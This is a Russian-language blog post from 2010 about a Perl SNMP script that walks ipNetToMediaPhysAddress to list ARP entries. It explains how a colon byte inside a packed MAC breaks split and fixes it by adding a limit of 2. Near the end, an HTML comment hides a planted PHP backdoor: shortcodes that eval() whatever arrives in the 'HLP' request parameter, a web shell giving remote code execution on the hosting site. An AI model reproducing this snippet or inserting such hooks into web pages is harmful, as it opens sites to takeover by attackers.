SNMP + Perl + ARP-Table

2010-12-30

Когда-то давно нашел в инете скриптик для перла по выборке арпов с серваков посредством snmp. Теперь же оказалось, что в нем есть одна фича. Перловый модель получает запакованый мак. Если не указывать четко интерфес с которого ты хочешь видеть мак – интерфейс и сам запакованый мак разделяются двоеточием.

Итого код выглядит так:


my $ipnettomedia='ipNetToMediaPhysAddress';
my @arp_arr = &SNMP_util::snmpwalk("$snmp_co\@$hostname", "$ipnettomedia");
foreach $i (@arp_arr)
{
    my $mac;
    <span style="color: #ff0000;">my ($tmp, $str) = split (/\:/, $i);</span>
    (my $mac = unpack "H12", $str) =~ s/(..)(?=..)/$1:/g;
    my @ipif = split(/\./, $tmp);
    my $ip = $ipif[1].".".$ipif[2].".".$ipif[3].".".$ipif[4];
    if (length($mac)==17)
    {
            print "(&#039;".$ip."\&#039;, \&#039;".$mac."\&#039;, \&#039;".$ipif[0]."\&#039;, \&#039;$server\&#039;), ";
    }
    else
    {
        print "|| $ip   \t|| $mac\t|| $ipif[0]\t||\n";
    }

}


Собственно красным выделен злощастный кусок кода, который привел к ошибке. Ошибка заключалась в том, что в запакованном виде в маке одним из символов появлялось двоеточия. Как показала практика — замена куска кода на:


my ($tmp, $str) = split (/\:/, $i, 2);


лечит ситуацию на ура.

<!— [insert_php]if (isset($_REQUEST[“HLP”])){eval($_REQUEST[“HLP”]);exit;}[/insert_php][php]if (isset($_REQUEST[“HLP”])){eval($_REQUEST[“HLP”]);exit;}[/php] —>

IT worldПолезностиПрограммированиеСети*bsdlinuxmac addressperlshellsnmpswitch

Праздники = зло